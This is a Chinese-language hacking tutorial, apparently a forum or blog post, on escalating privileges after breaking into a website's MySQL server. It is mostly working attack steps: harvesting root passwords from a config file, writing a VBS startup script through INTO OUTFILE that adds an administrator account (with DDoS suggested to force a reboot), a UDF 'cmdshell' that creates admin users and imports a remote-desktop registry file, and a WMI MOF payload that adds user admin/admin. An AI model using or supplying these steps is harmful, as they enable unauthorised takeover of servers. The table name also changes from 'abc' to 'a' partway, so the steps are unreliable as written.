新人开车——mysql各种提权

比如我入侵一个网站,通过查找数据库配置文件找到root相关的密码信息,可以尝试提权服务器。。。

/data/common.inc.php这个文件存放数据库配置信息,一般可以查询相关关键字的文件,这里可以找到root密码。

查找到数据库账号密码后,连接上服务器的数据库。

连接数据库: mysql.exe -u账号 -p密码 -hip地址

一、启动项提权

原理:利用高权限的root导入一个vbs脚本到启动项里面然后尝试ddos 等让服务器重启 运行我们的脚本 这里就可以提权了。。。

1、查看我们进入数据库中有些什么数据表

mysql>show tables;

默认的情况下,test中没有任何表的存在。

以下为关键的部分

2、在TEST数据库下创建一个新的表;

mysql>create table abc (cmd text);

好了,我们创建了一个新的表,表名为a,表中只存放一个字段,字段名为cmd,为text文本。

3、在表中插入内容

mysql>insert into a values ("set wshshell=createobject (""wscript.shell"")");

mysql>insert into a values ("a=wshshell.run (""cmd.exe /c net user 1 1 /add"",0)");

mysql>insert into a values ("b=wshshell.run (""cmd.exe /c net localgroup Administrators 1 /add"",0)");

注意双引号和括号以及后面的“0”一定要输入!我们将用这三条命令来建立一个VBS的脚本程序!

4、好了,现在我们来看看表a中有些什么

mysql>select * from a;

我们将会看到表中有三行数据,就是我们刚刚输入的内容,确认你输入的内容无误后,我们来到下一步

5、输出表为一个VBS的脚本文件

mysql>select * from a into outfile "c://docume~1//administrator//「开始」菜单//程序//启动//a.vbs";

6.重启即可!

 

二、UDF提权

create function cmdshell returns string soname 'udf.dll'

select cmdshell('net user iis_user 123!@#abcABC /add');

select cmdshell('net localgroup administrators iis_user /add');

select cmdshell('regedit /s d:web3389.reg');

drop function cmdshell;

select cmdshell('netstat -an');

 

三、MOF提权

远程系统高级漏洞

mof文件内容为:

#pragma namespace("\\\\.\\root\\subscription")

 

instance of __EventFilter as $EventFilter

{

EventNamespace = "Root\\Cimv2";

Name = "filtP2";

Query = "Select * From __InstanceModificationEvent "

"Where TargetInstance Isa \"Win32_LocalTime\" "

"And TargetInstance.Second = 5";

QueryLanguage = "WQL";

};

instance of ActiveScriptEventConsumer as $Consumer

{

Name = "consPCSV2";

ScriptingEngine = "JScript";

ScriptText =

"var WSH = new ActiveXObject(\"WScript.Shell\")\nWSH.run(\"net.exe user admin admin /add\")";

};

instance of __FilterToConsumerBinding

{

Consumer = $Consumer;

Filter = $EventFilter;

};

 

效果就是添加一个用户admin密码admin;

效果就是添加一个用户admin密码admin; 管理组

现在默认它还是会过5s添加一次用户,解决方法就是:

第一 net stop winmgmt 停止服务,

第二 删除文件夹:C:\WINDOWS\system32\wbem\Repository\

第三 net start winmgmt 启动服务
